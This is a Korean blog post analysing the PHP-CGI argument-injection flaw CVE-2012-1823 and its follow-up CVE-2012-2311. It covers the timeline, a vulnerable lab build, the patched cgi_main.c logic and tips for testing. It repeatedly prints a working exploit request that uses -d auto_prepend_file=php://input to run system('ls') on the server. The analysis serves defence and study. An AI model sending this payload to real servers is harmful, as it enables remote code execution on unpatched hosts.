※ 질문/내용오류/공유할 내용이 있다면 jinkilee73@gmail.com으로 메일 주세요 :-)


“-d allow_url_fopen=1 …” 2013년 하반기부터 급격히 늘어난 PHP 공격 구문이다. 해당 취약점이 증가한 이유를 분석하면서 해당 취약점에 대한 상세분석을 했다. 이 보고서는 다음과 같은 내용을 포함한다. 우선 PHP-CGI 취약점에 대한 배경을 설명한 후 취약점 환경에 대한 설명과 실제 취약점 시현 그리고 더 나아가 PHP에서 취약점이 존재하는 이유와 해당 취약점 공격이 진행되었을 경우 확인해야 할 사항들에 대해서 설명할 예정이다.


우선 CVE-2012-1823에 포함되어있는 주요 내용들을 살펴보자.


실제 PHP를 구현한 소스코드 중에서 sapi/cgi/cgi_main.c에 있는 파일 내용에 취약점이 존재한다. 취약점은 PHP 5.3.12 이전 버전과 PHP 5.4.1, PHP 5.4.2 이전 버전에서 존재한다. 해당 취약점은 php-cgi가 설정되어있을 때 실행되는 취약점이다. (위의 내용을 보면 =를 제대로 처리하지 못 해서 취약점이 발생한다고 했는데 이 내용은 이후에 자세하게 다룰 예정이다.) php.net에서 발표한 해당 취약점에 대한 bug report를 보자.



중간에 보면 php cgi기반으로 mod_cgid라는 module을 사용하여 사용될 때, php-cgi argument를 받아서 실행한다고 되어있다. 원래 정상적으로 아파치와 PHP를 설치하여 사용할 경우에는 libphp5.so라는 module을 통해 PHP 파일이 실행된다. 그런데 그 module을 사용하지 않고 php-cgid 모듈을 이용하여 php를 실행할 수도 있는데 이럴 경우 문제가 발생한다는 이야기이다. 이 취약점 환경에 대한 이야기는 아래에서 조금 더 다루기로 하고 이 취약점이 발견된 이력에 대해서 알아보자. 이 취약점은 2012 1월에 Eindbazen이라는 사람에 의해서 최초로 발견되었다.



위의 타임라인에 따르면, 해당 취약점은 2012 1 13일에 최초로 발견되었다.(당시 PHP zero-day) 4일 후 해당 취약점에 대한 Full Report PHP에 송신했으나 그 해 5월까지 취약점에 대한 적절한 패치가 나오지 않고 있다가 5 3일에 누군가에 의해 취약점이 대중에게 알려지게 되었다고 한다. 아직 적절한 해결책이 나오지 않은 상태에서(아직 zero-day인 상황) 취약점이 대중에게 취약점이 노출된 것이다. 3일 후인 5 6일에 PHP는 해당 취약점을 보완한 새로운 버전을 배포했다. 이 때 배포된 버전이 PHP 5.3.12 PHP 5.4.2이다. 이 버전은 CVE-2012-1823에 대한 보완이었다. 그러나 이틀 후인, 5 8일에 해당 취약점에 대한 보완이 제대로 되지 않은 이유로 PHP 5.3.13 PHP 5.4.3을 배포했다. PHP 5.3.13 PHP 5.4.3을 배포하면서 Changelog CVE-2012-2311에 대한 보완이라고 설명해놨다. CVE-2012-2311의 내용을 보자.



결국 CVE-2012-1823과 같은 내용이다. PHP 5.3.12 PHP 5.4.2에서는 ‘=’를 제대로 처리하지 못 하는 취약점에 대한 보완이 있었고 PHP 5.3.13 PHP 5.4.3에서는 ‘%3D’(‘=’에 대한 ASCII code)를 제대로 처리하지 못 하는 취약점에 대한 보완이 있었던 것이다. 대략 아래의 타임라인으로 주요 사항을 정리할 수 있다.


놀라운 사실은 이 취약점이 2004년부터 존재하고 있었다는 것이다. 2004년부터 2012년까지, 8년간 PHP가 간과했던 내용은 무엇일까? 이 내용은 아래에서 자세하게 설명할 예정이다.


CVE-2012-1823 취약점에 대해서 대략적인 설명을 하려고 한다. 위에서 설명했듯이 이 취약점은 php파일을 php-cgi가 실행하도록 구성된 환경에서 작동한다. 일반적으로 알려져 있는 공격 구문은 아래와 같다.


POST /posting.php? -d+allow_url_fopen%3d1+-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.0.103

Content-Length: 24

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip,deflate,sdch

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4

 

<?php system("ls"); ?>


위에서 –d php-cgi의 옵션이다. php-cgi–d 옵션을 통해서 php의 환경변수를 변경할 수 있다. allow_url_include, safe_mode, suhosin_simulation, disable_function, open_basedir,

auto_prepend_file 등이 모두 PHP의 옵션이다. , -d 옵션을 통해서 php 코드를 실행할 수 있는 환경을 만든 후 공격자가 php 구문을 삽입하여 코드를 실행하는 것이다.

이제 이러한 취약점이 가능하도록 환경을 구성해보자. 작업 환경은 linux Ubuntu + apache/2.4.7 + PHP 5.4.1이다. PHP 같은 경우 apt-get 등으로 설치하면 해당 취약점에 취약하지 않은 버전이 설치될 확률이 크므로 소스코드를 통해 직접 설치했다. (참고로 리눅스와 아파치에는 해당 취약점 관련된 버그가 존재하지 않으므로 어떠한 버전도 상관없으며(Maybe) PHP 5.3.12 이전 버전과 5.4.1, 5.4.2 버전이 취약한 것으로 알려져 있다.)

 

PHP 설치 과정은 크게 환경 configure을 한 후 Build 그리고 Compile하는 단계로 이루어져있다. 해당 취약점 환경을 만들면서 직접 사용한 configure 명령은 아래와 같다.


./configure --prefix=/usr/local/php5 --with-apxs2=/usr/local/apache2/bin/apxs


위의 옵션은 /usr/local/php5 PHP를 설치할 것이며(--prefix=/usr/local/php5)

/usr/loca/apache2/usr/apxs binary 파일을 아파치 확장 툴(APache eXtenSion tool)로 사용하겠다는 뜻이다. 위의 작업을 마친 후 make 명령어로 Build를 한다


/usr/src/php-5.3.10/ext/dom/node.c: In function ‘dom_canonicalization’:
/usr/src/php-5.3.10/ext/dom/node.c:1898: error: dereferencing pointer to incomplete type
/usr/src/php-5.3.10/ext/dom/node.c:1900: error: dereferencing pointer to incomplete type
make: *** [ext/dom/node.lo] Error 1


위와 같은 에러가 발생할 경우, 아래의 명령어로 node.c documenttype.c simplexxml.c 파일을 패치하면 된다.

wget http://cpanelstuffs.linuxcabin.com/downloads/php1.patch

chmod 755 php1.patch

patch -p0 < php1.patch

 

정상적으로 패치가 되면 아래와 같은 내용을 확인할 수 있다.


patching file ext/dom/node.c
patching file ext/dom/documenttype.c
patching file ext/simplexml/simplexml.c
Hunk #1 succeeded at 1387 (offset -30 lines).


make를 통해서 Build를 마치면 make install을 통해서 PHP를 설치하면 된다. 그 다음 php 설정 파일로 알려져 있는 php.ini 파일을 올바른 경로로 옮기는 등의 작업이 필요하다. (기본적으로 소스코드에는 php.ini.development파일을 php.ini 파일로 복사해서 올바른 경로로 옮겨놔야 php.ini 파일이 제대로 load될 수 있다.

그 다음에 할 일은 httpd.conf 파일을 수정하는 것이다. 이 부분에서 몇 가지 중요한 사항이 있다. 이 파일에서 .php 파일을 php-cgi binary 파일을 통해 실행 가능하도록 설정해주어야 한다. (php-cgi PHP 설치 시 설치되는 binary 파일이다.) 이와 같이 설정을 했으면 아래와 같이 PHP php-cgi를 통해 실행될 수 있다.



 

위에서 구성한 환경을 바탕으로 취약점을 시현해보자. 시현하기 전에 앞으로 사용할 php-cgi 옵션이 어떠한 것이 있는지 알아보자.




위의 옵션 중에서 우선 가장 간단하게 테스트할 수 있는 것이 –s 옵션이다. 이 옵션을 통해서 간단하게 소스코드를 볼 수 있다.

여기서 잠깐, 한번만 더 집고 넘어가자. 지금 CVE-2012-1823 취약점은 .php 이후의 파라미터(-s,  -d 등등)php-cgi로 넘어가는 것이 문제이지 option 자체가 문제는 아니다.

다시 본론으로 돌아와서, -s 옵션을 통해 위에서 실행했던 test.php를 수행해보자. 아래와 같은 결과를 얻는다.


위와 같이 –s가 파라미터로 넘어가서 php-cgi –s가 수행되는 것이다.

간단한 예제를 통해서 확인해봤으니 php 스크립트를 실행할 수 있는 공격을 해보자.


POST /posting.php?-d+allow_url_fopen%3d1+-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.0.103

Content-Length: 24

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip,deflate,sdch

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4

 

<?php system("ls"); ?>


위의 공격을 제대로 이해하기 위해서는 우선 각각의 옵션이 무엇을 의미하는지를 이해해야 한다. 아래와 같다.

# allow_url_fopen=1

외부의 URL로부터 파일을 읽어온다는 뜻이다.

# allow_url_include=1

외부의 파일을 include, include_once, require, require_once 와 같은 파일로 include 허용하겠다는 뜻이다.

# auto_prepend_file=php://input

우선 php://input의 의미를 알아야 한다. php://inputHTTP Request Body로부터 data를 가져올 수 있는 read-only stream이다. 위의 공격 구문으로 따지면 <?php system(“ls –al”); ?> 과 같은 구문을 읽어 들인다는 뜻이 되겠다. auto_prepend_file=value value를 먼저 실행한 후(조금 더 정확히 말하면 value include 되어) POST 뒤의 페이지(posting.php)를 실행하겠다는 뜻이다. 따라서 이번 시현에서 사용된 POST /posting.php….. <?php system(“ls –al”) ?> <?php system(“ls –al”); ?>을 먼저 수행하고 posting.php를 수행하겠다는 뜻이 된다. 비슷한 것으로 auto_append_file도 있는데 이는 사용자가 요청한 페이지를(test.php) 먼저 수행하고 php://input(<?php system(“ls –al”) ?>)를 나중에 실행하겠다는 뜻이다.

마지막에 –n php.ini에 존재하는 환경설정 파일을 무시하는 옵션이다. 위 공격을 telnet을 통해 80포트 접속하여 아래와 같이 수행해보자.



위에서 보이는 바와 같이 php 코드가 수행되는 것을 확인할 수 있다. 이 공격은 일반적인 방법으로 web browser를 통해서는 시현하기 힘들다. 정상적으로 위의 페이지를 사용했을 경우를 생각해보면 그 이유를 알 수 있다. 아래의 raw data posting.php를 정상적으로 이용했을 경우에 탐지되는 raw data이다.


POST /posting.php HTTP/1.1

Host: 192.168.0.102

Connection: keep-alive

Content-Length: 45

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://192.168.0.102

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.0.102/posting.html

Accept-Encoding: gzip,deflate,sdch

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4


Fullname=abc&UserAddress=abc&BtnSubmit=Submit


HTTP Request Body에 보면 Request Body가 포함되어 있다. 정상적으로 web browser를 통해 해당 페이지를 사용했을 경우에는 이 부분을 예측하기 힘들다. 확인하려면 아마도 paros툴 등을 이용해서 packet을 캡처하여 packet 내용을 수정한 후 전송하는 등의 번거로운 작업을 해야 할 것이다.

취약점이 어떤 식으로 악용될 수 있는지 위에서 자세하게 설명했다. 지금부터는 해당 취약점이 존재하는 원인을 알아보려고 한다. 여기서 다시 한번 CVE-2012-1823에서 설명한 Description을 읽어보자.

PHP 5.4.1에 존재하는 sapi/cgi/cgi_main.c에 존재하는, =를 제대로 처리하지 못 하는 취약점이라고 한다. 그렇다면 sapi/cgi/cgi_main.c를 보자.

위의 코드에는 나와있지 않는 변수이지만, 해당 파일에는 QUERY_STRING이라는 변수가 있다. 이 변수는 http://192.168.0.103/test.php?-s와 같은 요청이 있을 경우 ‘?’ 다음의 문자열인, php에 전달되는 변수들을 의미한다. PHP 5.4.1 버전에서는 php-cgi php를 실행할 경우에는 QUERY_STRING이라는 문자열에 대한 검증이 없다. 1793줄에 있는 if문은 단순히 cgi를 사용하는지를 확인하는 if문이다. 그 후 1805줄에 있는 while문은 php-cgi의 옵션이 존재하는지(-s, -d 등등) 검증하는 부분이고 그 안에 각 옵션에 대한 switch문이 있다. , while문이 수행되면 php-cgi의 옵션이 전달된다는 것이다. (php-cgi를 통해서 PHP를 수행할 때는 이 while문이 수행되면 안 된다는 뜻이다.) 이것이 PHP 5.4.1 cgi_main.c의 전부이다. QUERY_STRING에 대해서 검증하는 부분이 전혀 없기 때문에 취약한 것은 당연한 이야기이다. 놀라운 것은 php-cgi에 대한 RFC 문서를 보면 이러한 취약점에 대한 경고가 명시되어 있으나 PHP 2004년부터 해당 경고를 무시?해왔다는 사실이다. 그렇다면 이 취약점이 2012 5 3일 누군가에 의해 unpatched 상태에서 대중에게 알려지고 3일 후 PHP가 발표한 PHP 5.4.2 소스 코드를 보자.

1797줄에 if문은 수정되지 않았다. 1810줄에서 QUERY_STRING이라는 변수를 처리하는 구문을 만들어놨다. 그런데 여기서 if문의 조건을 자세하게 봐보자.

if (query_string = getenv(“QUERY_STRING”))

QUERY_STRING이라는 환경변수의 주소값을 query_string이라는 char*에 대입하여 그 값이 NULL이 아닐 경우 해당 if문을 수행하는 코드이다. 여기서 QUERY_STRING의 최초 형태를 확인하고 넘어갈 필요가 있다. QUERY_STRING의 최초 형태는 아직 URL-decode되지 않은 상태, 즉 사람이 읽기 조금 어려운 상태이다. 가령 아래와 같다.

-d+allow_url_fopen%3d1+-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

이러한 상태의 QUERY_STRING getenv함수를 통해서 query_string이 된다.(메모리 주소 복사) 그리고 php_url_decode함수에 의해서 아래와 같이 사람이 읽기 편한 상태의 문자열이 된다.

-d allow_url_fopen=1 -d allow_url_include=1 -d auto_prepend_file=php://input

그 다음에는 이 문자열에서 ‘=’이 없고 문자열이 ‘-‘로 시작하면 skip_getopt 1로 세팅하여 1823줄에 있는 while문을 건너뛰게 된다. 그런데 ‘=’이 있을 경우 while문을 건너뛰어야 하는 것 아닌가? 이 부분이 잘못되어서 PHP 5.4.2는 취약점을 제대로 보완하지 못 한 것이다. 그렇다면 제대로 보완된 PHP 5.4.3은 어떠할까? 소스코드는 아래와 같다.

1816줄에서 아직 QUERY_STRING URL-decode되지 않은  상태에서

1.     QUERY_STRINGNULL이 아니고 (query_string = getenv("QUERY_STRING")) != NULL

2.     ‘=’를 포함하지 않는다면 strchr(query_string, ‘=’) == NULL


php_url_decode함수를 통해 query_string decode하고

1.     그 문자열의 첫 글자가 ‘-‘로 시작한다면 skip_getopt = 1


skip_getopt 1이므로 while문을 건너뛰어 php-cgi 옵션의 실행을 막을 수 있다. 조금 논리적으로 머리 속에서 계산하기 혼동될 수 있으나 종이에 차근차근 쓰면서 계산하면 쉽게 이해할 수 있다. 한번쯤 해보기를 추천한다. (1821줄에 있는 for문은 단순히 query_string의 가장 앞부분의 공백을 제거하기 위한 코드이며 http://localhost/test.php?    -s와 같이 space를 통한 우회기법을 막기 위한 코드이다.)


이 취약점의 근본적인 해결방안은 너무나도 명확하다. PHP php-cgi를 통해 할 경우 PHP 버전의 최신버전을 유지하는 것이다. 업무를 하는 입장에서 취약한 버전과 취약점이 존재하는 조건 등을 숙지하고 있으면 도움이 많이 될 것 같다. 요악하면 아래와 같다.

 

# 취약한 PHP 버전

- PHP 5.3.13 이전 버전 또는 PHP 5.4.1, PHP 5.4.2

 

# 취약점이 존재하는 조건

- 취약한 PHP 버전을 사용하고 있을 경우

- php-cgi를 통해 php를 실행시킬 경우

 

추가적으로 아래와 같이 이 취약점을 이용한 공격이 실행되어 영향성을 테스트할 때 쉽게 저지를 수 있는 실수를 알아보자.


POST /posting.php?-d+allow_url_fopen%3d1+-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.0.103

Content-Length: 24

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip,deflate,sdch

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4

 

<?php system("ls"); ?>


우선 “-d+allow_url_fopen%3d1…”과 같은 파라미터를 보기 좋게 디코딩해서 테스트를 수행하면 안 된다. 이유는 위의 내용을 잘 읽어보면 알 수 있다.

두 번째로는 되도록이면 –d 옵션에 대한 POST 취약점을 검증할 경우에는 웹 브라우저보다는 telnet을 통한 검증이 좋다고 생각한다. 웹 브라우저를 통해 테스트할 경우에는 사용자의 입력값을 완벽하게 컨트롤할 수 없다. 가령 telnet을 이용할 경우에는 입력값으로 오로지 사용자가 원하는 값을 넣을 수 있으나 웹 브라우저를 이용해서 사용자의 입력값을 전달할 경우에는 사용자가 의도하지 않는 값이 들어갈 수 있으므로 테스트 환경상 좋지 않다고 생각한다. 참고로 telnet으로 테스트할 때 Content-Length값을 제대로 설정할 것을 잊지 않아야 한다.

세 번째, 가장 간단하게 테스트를 하기 위해서는 %-s를 이용하여 소스코드가 노출되는지를 확인하는 방법이 가장 간편하다. 이는 웹 브라우저에서도 쉽게 가능하고 추가적으로 url-decode들을 고려하지 않아도 되기 때문에 쉬우면서도 간편한 테스트 방법이라고 생각한다.



'Vulnerability' 카테고리의 다른 글

[Vul] Linux IRC bot Malware Analysis - Incomplete  (0) 2014.12.22
[Vul] Shellshock (CVE-2014-6271)  (6) 2014.10.25
[Vul] Shellcode Execution  (4) 2013.12.30
[Vul] Format String Vulnerability  (1) 2013.11.23
[Vul] Slowloris DoS Tool  (0) 2013.10.28
Posted by 빛나유
,